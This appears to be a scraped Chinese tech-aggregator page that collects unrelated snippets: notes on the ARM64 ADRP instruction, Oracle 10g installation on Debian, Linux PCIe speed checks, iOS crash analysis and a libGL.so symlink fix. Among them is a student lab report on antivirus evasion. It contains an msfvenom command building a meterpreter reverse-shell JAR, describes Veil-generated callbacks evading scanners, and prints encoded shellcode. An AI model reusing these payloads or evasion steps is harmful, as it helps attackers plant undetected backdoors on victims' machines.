x8

ADRP指令

不羁岁月 提交于 2020-01-04 16:57:00
ADRP X8, #_g@PAGE ADD X8, X8, #_g@PAGEOFF 得到一个大小为4KB的页的基址,而且在该页中有全局变量g的地址;ADRP就是讲该页的基址存到寄存器X8中; ADD指令会算出g的地址,X8+#_g@PAGEOFF,#_g@PAGEOFF是一个偏移量;这样就得到了g的地址X8; ADR指令 这是一条小范围的地址读取指令,它将基于PC的相对偏移的地址读到目标寄存器中; 使用格式: ADR register exper 编译时,首先会计算出当前PC到exper的偏移量#offset_to_exper 然后会用ADD或SUB指令,来替换这条指令;例如 ADD register,PC,#offset_to_exper register就是exper的地址; ADRP指令 编译时,首先会计算出当前PC到exper的偏移量#offset_to_exper pc的低12位清零,然后加上偏移量,给register 得到的地址,是含有label的4KB对齐内存区域的base地址; 作者:fanren 链接:https://www.jianshu.com/p/e5452c97cfbd 来源:简书 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 来源: CSDN 作者: 一墨一飞花 链接: https://blog.csdn.net

20155234 Exp3 免杀原理与实践

北城余情 提交于 2019-12-25 04:38:56
使用msf编码器生成jar包 使用指令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.157.141 lport=5234 x> 5234_backjar.jar 上传扫描的结果: 结果还行 使用veil-evasion生成反弹链接的可执行文件: 下载安装好veil之后,进入veil生成 回连成功: 扫描结果: 利用shellcode编程等免杀工具或技巧 生成Shellcode: \x7f\x6b\x1\x83\x83\x83\xe3\xa\x66\xb2\x43\xe7\x8\xd3\xb3\x8\xd1\x8f\x8\xd1\x97\x8\xf1\xab\x8c\x34\xc9\xa5\xb2\x7c\x2f\xbf\xe2\xff\x81\xaf\xa3\x42\x4c\x8e\x82\x44\x61\x71\xd1\xd4\x8\xd1\x93\x8\xc9\xbf\x8\xcf\x92\xfb\x60\xcb\x82\x52\xd2\x8\xda\xa3\x82\x50\x8\xca\x9b\x60\xb9\xca\x8\xb7\x8\x82\x55\xb2\x7c\x2f\x42\x4c\x8e\x82\x44\xbb\x63\xf6\x75\x80\xfe\x7b\xb8\xfe\xa7\xf6\x67

Debian Squeeze AMD64安装Oracle 10g x86_64 10.2.0....

試著忘記壹切 提交于 2019-12-17 17:59:47
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 服务器操作系统为Debian Squeeze AMD64,没有安装X,通过ssh远程访问。客户端为debian testing,安装有gnome桌面环境。 先安装10.2.0.1,然后安装升级包10.2.0.4,比安装10g r2客户端多了一些操作,具体安装过程如下: 一、安装10.2.0.1 1、下载oracle 10g r2 下载回来的文件为10201_database_linux_x86_64.cpio.gz $gunzip 10201_database_linux_x86_64.cpio.gz $cpio -idmv < 10201_database_linux_x86_64.cpio 解压缩后所有的安装文件位于database目录下。 2、检查硬件是否达到要求 物理RAM必须大于512M,现在的机器内存都没问题。超过8GB RAM时,swap应该在物理RAM的0.75倍以上。Enterprise Edition安装类型大约使用2G硬盘空间。 通过以下命令检查,如果不满足需要做相应的调整 $grep MemTotal /proc/meminfo //检查物理内存大小 $grep SwapTotal /proc/meminfo //检查swap大小 $df -h //检查可用硬件空间大小 3

Linux查看PCIe版本及速率

自作多情 提交于 2019-12-02 02:14:02
云水 MyGitee - https://gitee.com/lsgx/ MyGithub - https://github.com/lsgxeva/ 博客园 首页 新随笔 联系 订阅 管理 随笔 - 975 文章 - 0 评论 - 34 Linux查看PCIe版本及速率 Linux查看PCIe版本及速率 PCIE有四种不同的规格,通过下图来了解下PCIE的其中2种规格 查看主板上的PCI插槽 # dmidecode | grep --color "PCI" 不同PCIe版本对应的传输速率如下: 传输速率为每秒传输量GT/s,而不是每秒位数Gbps,因为传输量包括不提供额外吞吐量的开销位; 比如PCIe 1.x和PCIe 2.x使用8b/10b编码方案,导致占用了20% (= 2/10)的原始信道带宽。 GT/s —— Giga transation per second (千兆传输/秒),即每一秒内传输的次数。重点在于描述物理层通信协议的速率属性,可以不和链路宽度等关联。 Gbps —— Giga Bits Per Second (千兆位/秒)。GT/s 与Gbps 之间不存在成比例的换算关系。 PCIe 吞吐量(可用带宽)计算方法: 吞吐量 = 传输速率 * 编码方案 例如:PCI-e2.0 协议支持 5.0 GT/s,即每一条Lane上支持每秒钟内传输5G个Bit

一个崩溃分析

让人想犯罪 __ 提交于 2019-12-01 16:02:53
崩溃的分析 最近修复了一些iOS项目的崩溃,想分析总结一下这些崩溃的原因,以及预防。崩溃的原因一般有下面几种: 内存访问错误(这个出现的比较多,原因多种多样) 非法指令的执行(超出权限范围内的指令) 非法的IO访问 系统调用参数出错 指令条用参数错误(除以0之类) 想分析用户崩溃,收集崩溃的日志非常重要,我们项目中用的是Twitter的Crashlytics,现在叫fabric, 能够收集到比较详细的崩溃信息:各线程的崩溃栈和设备的一些信息。有一个小问题就是没有收集到各个 寄存器里面的值(看是不是我没有找到地方)。 选了出现次数最多的一个崩溃进行分析: # OS Version: 13.1.2 (17A860) # Device: iPhone 8 # RAM Free: 1.9% # Disk Free: 15.7% #24. Crashed: NSOperationQueue 0x107964a70 (QOS: UNSPECIFIED) 0 libobjc.A.dylib 0x1b394f150 objc_release + 16 1 _appstore 0x10184b694 -[YNP_VRHomeCoreViewModel voiceRoomDidChangeSpeakingUser:] + 373 (YNP_VRHomeCoreViewModel.m:373) 2

No rule to make target '/usr/lib/x86_64-linux-gnu/libGL.so

馋奶兔 提交于 2019-11-29 12:20:57
在编译Ogre的时候make install出现了这个问题,这里发现我的libGL.so指向了libGL.so.1.0.0,这是怎么一回事呢? 搜索libGL.so文件路径: 比如,本机中路径为:/usr/lib/libGL.so 建立symlink: sudo ln -s /usr/lib/libGL.so.1 /usr/lib/x86_64-linux-gnu/libGL.so (之所以链接到libGL.so.1而不是libGL.so可能是为了便于区分) 如果出现错误: ln: failed to create symbolic link '/usr/lib/x86_64-linux-gnu/libGL.so' : File exists 则删除已有链接: sudo rm /usr/lib/x86_64-linux-gnu/libGL.so 重新执行步骤2建立symlink ??为什么要使用动态链接库? --《鸟哥的私房菜》中提及:动态函数库在编译的时候,在程序里面只有一个“指向”(Pointer)的位置而已,也就是说,动态函数库的内容并没有被整合到可执行文件中,而是当可执行文件要使用到函数库的时候程序才会读取函数库来使用。由于可执行文件中仅仅具有指向动态函数库所在的指标而已,并不包含函数库的内容,所以它的文件比较小一点。以下摘自APUE: ?